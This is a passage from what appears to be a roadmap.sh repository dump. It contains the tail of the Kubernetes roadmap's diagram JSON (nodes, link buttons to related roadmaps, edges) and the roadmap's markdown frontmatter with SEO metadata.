-364.4715206053269,\n        \"y\": 1684.900748222349\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 119,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -445.74416945365664,\n        \"y\": 1899.509113900669\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Continue learning with following roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -445.74416945365664,\n        \"y\": 1899.509113900669\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 473,\n        \"height\": 117\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"UloavCkIvZnD1XMFohYVT\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -430.74416945365664,\n        \"y\": 1953.6547713337786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"OIcmPSbdsuWapb6HZ4BEi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -430.74416945365664,\n        \"y\": 1953.6547713337786\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"StxLh1r3qXqyRSqfJGird\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -115.1381872719935,\n        \"y\": 1953.6547713337786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"OIcmPSbdsuWapb6HZ4BEi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -115.1381872719935,\n        \"y\": 1953.6547713337786\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -289.1381872719935,\n        \"y\": 1953.6547713337786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Docker\",\n        \"href\": \"https://roadmap.sh/docker\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -289.1381872719935,\n        \"y\": 1953.6547713337786\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wx-CpX3NJtKrdr_dQHZi9\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": -123.59925177765109\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"9u_-wRTq9TR6LcGC8XMEv\",\n            \"label\": \"Docker Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/docker\"\n          },\n          {\n            \"id\": \"hyMuCrj97vtFIGZsyOc-9\",\n            \"label\": \"Backend Roadmap\",\n            \"url\": \"https://roadmap.sh/backend\"\n          },\n          {\n            \"id\": \"cz2Ix_SQSiLkXGKeCrD-f\",\n            \"label\": \"DevOps Roadmap\",\n            \"url\": \"https://roadmap.sh/devops\"\n          },\n          {\n            \"id\": \"I3dEtFD87s18bQaP2zbl1\",\n            \"label\": \"System Design Roadmap\",\n            \"url\": \"https://roadmap.sh/system-design\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 327,\n        \"height\": 195\n      },\n      \"dragging\": false,\n      \"width\": 260,\n      \"height\": 192,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": -123.59925177765109\n      }\n    },\n    {\n      \"id\": \"kpF15oUmlUmk1qVGEBB7Y\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 40.99419451849974,\n        \"y\": -139.2948532825934\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more roadmaps at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 40.99419451849974,\n        \"y\": -139.2948532825934\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 151\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 55.99419451849974,\n        \"y\": -53.09925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 55.99419451849974,\n        \"y\": -53.09925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9-oaTlzKmcxTfaRycz1w3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1684.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Blue-Green Deployments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yMSXdwDO36CLtp2TBC7aB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264\n      },\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1684.900748222349\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"y7KjVfSI6CAduyHd4mBFT\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__HU7wZWiES3m3xl1-NYP6Fx2-t8SJbGVXsUDECxePLDk_ww1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"y7KjVfSI6CAduyHd4mBFT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qLeEEwBvlGt1fP5Qcreah\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wz2-qLeEEwBvlGt1fP5Qcreahy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"y7KjVfSI6CAduyHd4mBFT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"q-Ky0ietZGpyUcBQfh-BJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wz2-q-Ky0ietZGpyUcBQfh-BJy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"y7KjVfSI6CAduyHd4mBFT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"9oo2fxTM2_p0VYPBroqxa\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wz2-9oo2fxTM2_p0VYPBroqxay2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"y7KjVfSI6CAduyHd4mBFT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3fzuXKH7az_LVnmnoXB1p\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wz2-3fzuXKH7az_LVnmnoXB1py1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3OpGaQhyNtk1n1MLp-tlb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"zrbSJa3k7a3TE0aYbWi9c\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wy2-zrbSJa3k7a3TE0aYbWi9cz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3OpGaQhyNtk1n1MLp-tlb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qSatCdBTDXPu-IFWzUI99\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wy2-qSatCdBTDXPu-IFWzUI99z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3OpGaQhyNtk1n1MLp-tlb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"YaIs8lquWIe1D7RCUBZmC\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wy2-YaIs8lquWIe1D7RCUBZmCz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3OpGaQhyNtk1n1MLp-tlb\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"1MdrzhktCWjpmxiYYBdz7\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__3OpGaQhyNtk1n1MLp-tlbx2-t8SJbGVXsUDECxePLDk_ww1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1MdrzhktCWjpmxiYYBdz7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"TUGQX7y1gs-aKPge2F1NU\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wz2-TUGQX7y1gs-aKPge2F1NUy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1MdrzhktCWjpmxiYYBdz7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-d2PIXm0V_Iehe8cws8zK\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wz2--d2PIXm0V_Iehe8cws8zKy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1MdrzhktCWjpmxiYYBdz7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"r3fzAN5DzratAKnnT8hzb\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wz2-r3fzAN5DzratAKnnT8hzby1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1MdrzhktCWjpmxiYYBdz7\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"aUJ_w2L8nxNq3DfAW97Gd\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__1MdrzhktCWjpmxiYYBdz7x2-t8SJbGVXsUDECxePLDk_ww1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"aUJ_w2L8nxNq3DfAW97Gd\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jUOlITLqnIvSu97I_3nBz\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wx2-jUOlITLqnIvSu97I_3nBzw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"aUJ_w2L8nxNq3DfAW97Gd\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"dj7Tb2XTX4kxRUYiTjlhM\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__aUJ_w2L8nxNq3DfAW97Gdy2-t8SJbGVXsUDECxePLDk_wz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dj7Tb2XTX4kxRUYiTjlhM\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"S0CwGC2gMG-SqnLNldqBD\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_ww2-S0CwGC2gMG-SqnLNldqBDx2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dj7Tb2XTX4kxRUYiTjlhM\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"eWKkdiBhD5x2sGYajmHEs\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__dj7Tb2XTX4kxRUYiTjlhMx2-t8SJbGVXsUDECxePLDk_ww2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eWKkdiBhD5x2sGYajmHEs\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"SG3wtV2rt9nmLEkgrp_zP\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__eWKkdiBhD5x2sGYajmHEsz2-t8SJbGVXsUDECxePLDk_wy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SG3wtV2rt9nmLEkgrp_zP\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"i7qxaFhFHPfe3fGEgsbcE\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_ww2-i7qxaFhFHPfe3fGEgsbcEx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SG3wtV2rt9nmLEkgrp_zP\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AgsQnQjyTLUFhFpRdcE13\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__SG3wtV2rt9nmLEkgrp_zPx2-t8SJbGVXsUDECxePLDk_ww1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"AgsQnQjyTLUFhFpRdcE13\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"pDjNsK5vI9FmKZbQm0lDP\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wy2-pDjNsK5vI9FmKZbQm0lDPz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"AgsQnQjyTLUFhFpRdcE13\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ldYTEPt_hI4PXxr3tgJi5\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wy2-ldYTEPt_hI4PXxr3tgJi5z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"AgsQnQjyTLUFhFpRdcE13\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"FANswgUhUb5Iuah2fni3L\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wy2-FANswgUhUb5Iuah2fni3Lz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"AgsQnQjyTLUFhFpRdcE13\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"03mGA5AyL7mpF6y3EMW7A\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__AgsQnQjyTLUFhFpRdcE13x2-t8SJbGVXsUDECxePLDk_ww1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"03mGA5AyL7mpF6y3EMW7A\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"044IUUCgZP4oQ9UxUG2iy\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wx2-RC5MoYtG2rom-d4FW5qD2w2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"03mGA5AyL7mpF6y3EMW7A\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"xZDXM_8qb4VL15tNGG0ws\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__03mGA5AyL7mpF6y3EMW7Ay2-t8SJbGVXsUDECxePLDk_wz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xZDXM_8qb4VL15tNGG0ws\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"70lTSIVh0AD6M8fMMuWzY\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__t8SJbGVXsUDECxePLDk_wx2-70lTSIVh0AD6M8fMMuWzYw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xZDXM_8qb4VL15tNGG0ws\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"URnYf9jMprFz-o26fbU2P\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__xZDXM_8qb4VL15tNGG0wsy2-t8SJbGVXsUDECxePLDk_wz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/kubernetes/kubernetes.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/kubernetes.json'\npdfUrl: '/pdfs/roadmaps/kubernetes.pdf'\norder: 14\nbriefTitle: 'Kubernetes'\nrenderer: 'editor'\nbriefDescription: 'Step by step guide to learning Kubernetes in 2025'\ntitle: 'Kubernetes Roadmap'\ndescription: 'Step by step guide to learning Kubernetes in 2025'\nisNew: false\nhasTopics: true\npartner:\n  description: 'Get the latest Kubernetes news from our sister site'\n  link: 'https://thenewstack.io/?utm_source=roadmap.sh&utm_medium=Referral&utm_campaign=Alert'\n  linkText: 'TheNewStack.io'\ndimensions:\n  width: 968\n  height: 1950\nschema:\n  headline: 'Kubernetes Roadmap'\n  description: 'Learn how to use Kubernetes with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/kubernetes.png'\n  datePublished: '2023-05-04'\n  dateModified: '2023-05-04'\nseo:\n  title: 'Kubernetes Roadmap'\n  description: 'Step by step guide to learn Kubernetes in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  keywords:\n    - 'kubernetes tutorial'\n    - 'step by step kubernetes'\n    - 'kubernetes roadmap 2024'\n    - 'kubernetes roadmap 2025'\n    - 'guide to learning kubernetes'\n    - 'kubernetes'\n    - 'kubernetes engineer'\n    - 'kubernetes engineer 2025'\n    - 'kubernetes skills'\n    - 'kubernetes development'\n    - 'kubernetes development skills'\n    - 'kubernetes development skills test'\n    - 'kubernetes engineer roadmap'\n    - 'kubernetes roadmap'\n    - 'become a kubernetes expert'\n    - 'kubernetes career path'\n    - 'learn kubernetes development'\n    - 'what is kubernetes'\n    - 'kubernetes quiz'\n    - 'kubernetes interview questions'\nrelatedRoadmaps:\n  - 'docker'\n  - 'devops'\n  - 'cloudflare'\n  - 'backend'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/kubernetes/migration-mapping.json",
